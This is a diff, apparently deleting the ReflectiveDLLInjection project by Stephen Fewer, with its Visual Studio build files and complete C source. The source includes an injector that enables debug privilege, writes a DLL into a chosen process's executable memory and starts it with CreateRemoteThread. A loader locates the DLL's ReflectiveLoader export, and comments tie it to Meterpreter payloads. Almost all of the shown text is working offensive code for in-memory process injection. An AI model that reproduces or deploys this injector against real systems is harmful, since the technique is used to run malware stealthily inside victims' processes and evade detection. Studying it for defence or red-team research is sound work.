||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
|
||||
<RootNamespace>inject</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<PlatformToolset>v120</PlatformToolset>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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|
||||
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||||
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||||
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||||
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||||
<ClCompile>
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||||
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||||
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||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
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|
||||
<WarningLevel>Level3</WarningLevel>
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
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||||
<FunctionLevelLinking>true</FunctionLevelLinking>
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||||
<PrecompiledHeader />
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||||
<WarningLevel>Level3</WarningLevel>
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||||
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||||
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||||
</ClCompile>
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||||
<Link>
|
||||
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
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||||
<GenerateDebugInformation>true</GenerateDebugInformation>
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||||
<SubSystem>Console</SubSystem>
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||||
<OptimizeReferences>true</OptimizeReferences>
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||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
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||||
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||||
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||||
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|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\GetProcAddressR.c" />
|
||||
<ClCompile Include="src\Inject.c" />
|
||||
<ClCompile Include="src\LoadLibraryR.c" />
|
||||
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|
||||
<ItemGroup>
|
||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
|
|
@ -1,35 +0,0 @@
|
|||
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||||
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||||
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||||
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||||
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||||
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||||
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|
||||
<ClCompile Include="src\LoadLibraryR.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\GetProcAddressR.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\LoadLibraryR.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\common\ReflectiveDLLInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
|
|
@ -1,116 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "GetProcAddressR.h"
|
||||
//===============================================================================================//
|
||||
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
|
||||
// wont be able to resolve exported addresses in reflectivly loaded librarys.
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
UINT_PTR uiLibraryAddress = 0;
|
||||
FARPROC fpResult = NULL;
|
||||
|
||||
if( hModule == NULL )
|
||||
return NULL;
|
||||
|
||||
// a module handle is really its base address
|
||||
uiLibraryAddress = (UINT_PTR)hModule;
|
||||
|
||||
__try
|
||||
{
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
||||
|
||||
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
|
||||
|
||||
// test if we are importing by name or by ordinal...
|
||||
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
|
||||
{
|
||||
// import by ordinal...
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
|
||||
|
||||
// resolve the address for this imported function
|
||||
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// import by name...
|
||||
DWORD dwCounter = pExportDirectory->NumberOfNames;
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
|
||||
|
||||
// test if we have a match...
|
||||
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
|
||||
{
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// calculate the virtual address for the function
|
||||
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
|
||||
|
||||
// finish...
|
||||
break;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
fpResult = NULL;
|
||||
}
|
||||
|
||||
return fpResult;
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
|
@ -1,36 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
|
@ -1,120 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "LoadLibraryR.h"
|
||||
|
||||
#pragma comment(lib,"Advapi32.lib")
|
||||
|
||||
#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
|
||||
|
||||
// Simple app to inject a reflective DLL into a process vis its process ID.
|
||||
int main( int argc, char * argv[] )
|
||||
{
|
||||
HANDLE hFile = NULL;
|
||||
HANDLE hModule = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
LPVOID lpBuffer = NULL;
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwBytesRead = 0;
|
||||
DWORD dwProcessId = 0;
|
||||
TOKEN_PRIVILEGES priv = {0};
|
||||
|
||||
#ifdef _WIN64
|
||||
char * cpDllFile = "reflective_dll.x64.dll";
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
char * cpDllFile = "reflective_dll.dll";
|
||||
#else WIN_ARM
|
||||
char * cpDllFile = "reflective_dll.arm.dll";
|
||||
#endif
|
||||
#endif
|
||||
|
||||
do
|
||||
{
|
||||
// Usage: inject.exe [pid] [dll_file]
|
||||
|
||||
if( argc == 1 )
|
||||
dwProcessId = GetCurrentProcessId();
|
||||
else
|
||||
dwProcessId = atoi( argv[1] );
|
||||
|
||||
if( argc >= 3 )
|
||||
cpDllFile = argv[2];
|
||||
|
||||
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
|
||||
if( hFile == INVALID_HANDLE_VALUE )
|
||||
BREAK_WITH_ERROR( "Failed to open the DLL file" );
|
||||
|
||||
dwLength = GetFileSize( hFile, NULL );
|
||||
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
|
||||
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
|
||||
|
||||
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
|
||||
if( !lpBuffer )
|
||||
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
|
||||
|
||||
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
|
||||
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
|
||||
|
||||
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
|
||||
{
|
||||
priv.PrivilegeCount = 1;
|
||||
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
|
||||
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
|
||||
|
||||
CloseHandle( hToken );
|
||||
}
|
||||
|
||||
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
|
||||
if( !hProcess )
|
||||
BREAK_WITH_ERROR( "Failed to open the target process" );
|
||||
|
||||
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
|
||||
if( !hModule )
|
||||
BREAK_WITH_ERROR( "Failed to inject the DLL" );
|
||||
|
||||
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
|
||||
|
||||
WaitForSingleObject( hModule, -1 );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( lpBuffer )
|
||||
HeapFree( GetProcessHeap(), 0, lpBuffer );
|
||||
|
||||
if( hProcess )
|
||||
CloseHandle( hProcess );
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,233 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "LoadLibraryR.h"
|
||||
//===============================================================================================//
|
||||
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
|
||||
{
|
||||
WORD wIndex = 0;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||
return dwRva;
|
||||
|
||||
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
|
||||
{
|
||||
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||
{
|
||||
UINT_PTR uiBaseAddress = 0;
|
||||
UINT_PTR uiExportDir = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
DWORD dwCounter = 0;
|
||||
#ifdef _WIN64
|
||||
DWORD dwMeterpreterArch = 2;
|
||||
#else
|
||||
// This will catch Win32 and WinRT.
|
||||
DWORD dwMeterpreterArch = 1;
|
||||
#endif
|
||||
|
||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
||||
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
{
|
||||
if( dwMeterpreterArch != 1 )
|
||||
return 0;
|
||||
}
|
||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
{
|
||||
if( dwMeterpreterArch != 2 )
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the File Offset of the export directory
|
||||
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name pointers
|
||||
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name ordinals
|
||||
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
|
||||
|
||||
// get a counter for the number of exported functions...
|
||||
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||
|
||||
// loop through all the exported functions to find the ReflectiveLoader
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
||||
|
||||
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||
{
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// return the File Offset to the ReflectiveLoader() functions code...
|
||||
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
|
||||
}
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a DLL image from memory via its exported ReflectiveLoader function
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
||||
{
|
||||
HMODULE hResult = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwOldProtect1 = 0;
|
||||
DWORD dwOldProtect2 = 0;
|
||||
REFLECTIVELOADER pReflectiveLoader = NULL;
|
||||
DLLMAIN pDllMain = NULL;
|
||||
|
||||
if( lpBuffer == NULL || dwLength == 0 )
|
||||
return NULL;
|
||||
|
||||
__try
|
||||
{
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( dwReflectiveLoaderOffset != 0 )
|
||||
{
|
||||
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
|
||||
|
||||
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
|
||||
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
|
||||
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
||||
{
|
||||
// call the librarys ReflectiveLoader...
|
||||
pDllMain = (DLLMAIN)pReflectiveLoader();
|
||||
if( pDllMain != NULL )
|
||||
{
|
||||
// call the loaded librarys DllMain to get its HMODULE
|
||||
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
|
||||
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
||||
hResult = NULL;
|
||||
}
|
||||
// revert to the previous protection flags...
|
||||
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hResult = NULL;
|
||||
}
|
||||
|
||||
return hResult;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
||||
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// defined in order to use the correct RDI prototypes.
|
||||
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
||||
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
||||
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
||||
{
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwThreadId = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
if( !hProcess || !lpBuffer || !dwLength )
|
||||
break;
|
||||
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( !dwReflectiveLoaderOffset )
|
||||
break;
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
break;
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||
break;
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
|
||||
|
||||
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hThread = NULL;
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
|
@ -1,41 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
